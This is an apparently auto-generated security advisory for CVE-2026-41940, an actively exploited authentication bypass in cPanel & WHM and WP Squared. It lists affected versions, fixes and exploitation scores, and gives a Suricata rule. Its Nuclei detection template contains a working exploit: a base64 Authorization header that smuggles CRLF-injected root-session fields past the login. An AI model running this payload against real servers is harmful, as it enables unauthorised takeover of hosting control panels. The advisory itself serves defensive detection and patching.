VULNpocalypse

CVE-2026-41940: WebPros cPanel & WHM and WP2 (WordPress Squared) Missing Authentication for Critical Function Vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

cPanel and WHM versions after 11.40 contain an authentication bypass vulnerability in the login flow that allows unauthenticated remote attackers to gain unauthorized access to the control panel.

Description quoted from the CVE record (assigned by VulnCheck, published 2026-04-29).

Weakness: CWE-306 Missing Authentication for Critical Function

How it can be exploited

Exploitable over the network with low attack complexity with no special attack requirements needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since
2026-04-30
US federal deadline
2026-05-03
Ransomware use
Yes

Public exploit evidence (Exploit Observer)

Also known as: BDU:2026-06279, EDB-52574, EUVD-2026-26246, GHSA-85qr-8rxc-62gv

VEDAS cluster: VEDAS:BEVYBEAVER

Exploit Observer links 89 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (89)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Research and write-ups (4)

Vulnerability databases and vendor advisories (4)

Catalogue entries, not exploit evidence.

42 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS
0.985
very likely to be attacked soon
VEDAS
0.987
strong exploit evidence
On CISA KEV
Yes, since 2026-04-30
Detection rule
Nuclei · Suricata
EPSS (chance of attack)
100.1CVE-2026-41940 EPSS over time2026-082026-11-01
VEDAS (exploit evidence)
100.9CVE-2026-41940 VEDAS over time2026-082026-11-01

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish.

Who is affected

ProductAffectedNot affected
WebPros cPanelfrom 11.40.0.0 before 11.86.0.41
from 11.88.0.0 before 11.94.0.28
from 11.96.0.0 before 11.102.0.39
from 11.104.0.0 before 11.110.0.97
from 11.112.0.0 before 11.118.0.63
from 11.120.0.0 before 11.124.0.35
from 11.126.0.0 before 11.126.0.54
from 11.128.0.0 before 11.130.0.19
and 3 more ranges		Not stated
WebPros WP Squaredbefore 11.136.1.7Not stated
WebPros WHMfrom 11.40.0.0 before 11.86.0.41
from 11.88.0.0 before 11.94.0.28
from 11.96.0.0 before 11.102.0.39
from 11.104.0.0 before 11.110.0.97
from 11.112.0.0 before 11.118.0.63
from 11.120.0.0 before 11.124.0.35
from 11.126.0.0 before 11.126.0.54
from 11.128.0.0 before 11.130.0.19
and 3 more ranges		Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: cpanel cpanel, cpanel whm, cpanel wp_squared, cpanel_inc. cpanel.

How to fix it

Fixed versions stated in the CVE record: 11.86.0.41, 11.94.0.28, 11.102.0.39, 11.110.0.97, 11.118.0.63, 11.124.0.35, 11.126.0.54, 11.130.0.19, 11.132.0.29, 11.134.0.20, 11.136.0.5, 11.136.1.7.

CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.

Vendor guidance:

How to detect it

Nuclei template (active check)

cPanel - Authentication Bypass

cPanel and WHM versions after 11.40 contain an authentication bypass vulnerability in the login flow that allows unauthenticated remote attackers to gain unauthorized access to the control panel.

Name and description quoted from the template, written by VEDAS.

The template sends 4 requests (POST /login/?login_only=1, GET /, GET /scripts2/listaccts, GET {{cp_token}}/json-api/version); it decides using dsl, regex, status, word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2026-41940.yaml
Show the template (120 lines)
yaml
id: CVE-2026-41940

info:
  name: "cPanel - Authentication Bypass"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    cPanel and WHM versions after 11.40 contain an authentication bypass vulnerability in the login flow that
    allows unauthenticated remote attackers to gain unauthorized access to the control panel.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-41940&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=cpanel&match=exact
  classification:
    cve-id: CVE-2026-41940
  metadata:
    verified: false
  tags: cve,cve2026,cpanel,whm,auth-bypass,crlf,vkev,kev
flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        POST /login/?login_only=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Connection: close

        user=root&pass=wrong

    matchers:
      - type: dsl
        dsl:
          - status_code == 401
          - contains(header, "whostmgrrelogin")
        condition: and
        internal: true

    extractors:
      - type: regex
        name: session_no_ob
        part: header
        group: 1
        regex:
          - 'whostmgrsession=([^;,]+?)%2[Cc]'
        internal: true

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Cookie: whostmgrsession={{session_no_ob}}
        Authorization: Basic cm9vdDp4DQpoYXNyb290PTENCnRmYV92ZXJpZmllZD0xDQp1c2VyPXJvb3QNCmNwX3NlY3VyaXR5X3Rva2VuPS9jcHNlc3M5OTk5OTk5OTk5DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9MTc3NzQ2MjE0OQ0K
        Connection: close

    disable-cookie: true

    matchers:
      - type: dsl
        dsl:
          - status_code == 307
          - contains(location, "cpsess")
        condition: and
        internal: true

    extractors:
      - type: regex
        name: cp_token
        part: header
        regex:
          - '(/cpsess\d+)'
        group: 1
        internal: true

  - raw:
      - |
        GET /scripts2/listaccts HTTP/1.1
        Host: {{Hostname}}
        Cookie: whostmgrsession={{session_no_ob}}
        Connection: close

    matchers:
      - type: dsl
        dsl:
          - status_code == 401
        internal: true

  - raw:
      - |
        GET {{cp_token}}/json-api/version HTTP/1.1
        Host: {{Hostname}}
        Cookie: whostmgrsession={{session_no_ob}}
        Connection: close

    disable-cookie: true
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - '"data":{"version":"'
          - '"command":"version"'
          - '"reason":"OK"'
          - '"result":1'
        condition: and

      - type: word
        part: body
        words:
          - "Access denied"
        negative: true

    extractors:
      - type: regex
        part: body
        regex:
          - '"version"\s*:\s*"([^"]+)"'
        group: 1

CVE-2026-41940.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-41940 cPanel - Authentication Bypass. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-41940 cPanel - Authentication Bypass"; flow:established,to_server; http.uri; content:"/scripts2/listaccts"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2026-41940; reference:url,https://www.exploit.observer/?keyword=CVE-2026-41940&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=cpanel&match=exact; sid:1010350; rev:1;)

CVE-2026-41940.rules on GitHub

References

Vendor advisories and patches

Exploits and technical analysis

Government sources

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.